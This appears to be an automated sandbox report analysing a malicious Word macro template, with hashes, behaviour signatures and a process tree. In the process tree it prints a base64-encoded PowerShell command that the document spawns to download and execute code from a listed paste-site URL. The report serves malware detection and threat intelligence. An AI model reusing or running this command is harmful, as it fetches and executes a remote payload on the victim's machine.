Analysis

  • max time kernel
    120s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    10/04/2024, 09:50

General

  • Target

    1ba380f22bdd33f766d3954cc658d8bbc52fbeb8ec46e4a44fa503cef06e9769.dotm

  • Size

    15KB

  • MD5

    c43c50baa3271b375298847bf6a7fc13

  • SHA1

    962fe93d5803bfb80afc08847d35f2f8e628f2ff

  • SHA256

    1ba380f22bdd33f766d3954cc658d8bbc52fbeb8ec46e4a44fa503cef06e9769

  • SHA512

    2aed1ea542440256e787a4fbfaf520730ba71befaa3da826da248dc7c7df0385cd13fd689eed7fe5ff7d50718a29aa86232dd3f29c20410f2004bc1425c4fe70

  • SSDEEP

    192:HNmtBloyrExesIt1vwwV/H9eTblYbOgQ0CilPB2nzkx392bZr5JCpU78MLCY1zWU:tmtCs1IwVP9efxM2AxdUfLCIzWdb5qT/

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://paste.c-net.org/StaceConcerns

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\1ba380f22bdd33f766d3954cc658d8bbc52fbeb8ec46e4a44fa503cef06e9769.dotm"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1932
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -w 1 -ep bypass -e aQBlAHgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvAHAAYQBzAHQAZQAuAGMALQBuAGUAdAAuAG8AcgBnAC8AUwB0AGEAYwBlAEMAbwBuAGMAZQByAG4AcwAnACkA
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2664
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2580

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

            Filesize

            20KB

            MD5

            1d563b87163ca060a1af150eda0aaf6c

            SHA1

            58826ba8c6ba58abce5af9e044fc211abd0ba9e7

            SHA256

            1cbc281ce230a52024bc024cbe06a1ca10e5f9e4a4588026a84c73cf78883970

            SHA512

            ebe00fea45eec18e449ae8e8d46d57bebb1bea0c94ee42b2bb53445ea48ff41ca3eb9f6cf7252494f34d2e50a828077559090c02a8a6b6d9ff9236310c3c54dd

          • memory/1932-27-0x00000000003F0000-0x00000000004F0000-memory.dmp

            Filesize

            1024KB

          • memory/1932-26-0x0000000070C3D000-0x0000000070C48000-memory.dmp

            Filesize

            44KB

          • memory/1932-6-0x00000000003F0000-0x00000000004F0000-memory.dmp

            Filesize

            1024KB

          • memory/1932-47-0x00000000003F0000-0x00000000004F0000-memory.dmp

            Filesize

            1024KB

          • memory/1932-9-0x00000000003F0000-0x00000000004F0000-memory.dmp

            Filesize

            1024KB

          • memory/1932-7-0x00000000003F0000-0x00000000004F0000-memory.dmp

            Filesize

            1024KB

          • memory/1932-11-0x00000000003F0000-0x00000000004F0000-memory.dmp

            Filesize

            1024KB

          • memory/1932-12-0x00000000003F0000-0x00000000004F0000-memory.dmp

            Filesize

            1024KB

          • memory/1932-2-0x0000000070C3D000-0x0000000070C48000-memory.dmp

            Filesize

            44KB

          • memory/1932-46-0x000000005FFF0000-0x0000000060000000-memory.dmp

            Filesize

            64KB

          • memory/1932-5-0x00000000003F0000-0x00000000004F0000-memory.dmp

            Filesize

            1024KB

          • memory/1932-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

            Filesize

            64KB

          • memory/1932-28-0x00000000003F0000-0x00000000004F0000-memory.dmp

            Filesize

            1024KB

          • memory/1932-0-0x000000002F2C1000-0x000000002F2C2000-memory.dmp

            Filesize

            4KB

          • memory/2664-18-0x0000000000350000-0x0000000000390000-memory.dmp

            Filesize

            256KB

          • memory/2664-25-0x000000006A450000-0x000000006A9FB000-memory.dmp

            Filesize

            5.7MB

          • memory/2664-19-0x000000006A450000-0x000000006A9FB000-memory.dmp

            Filesize

            5.7MB

          • memory/2664-16-0x000000006A450000-0x000000006A9FB000-memory.dmp

            Filesize

            5.7MB

          • memory/2664-17-0x0000000000350000-0x0000000000390000-memory.dmp

            Filesize

            256KB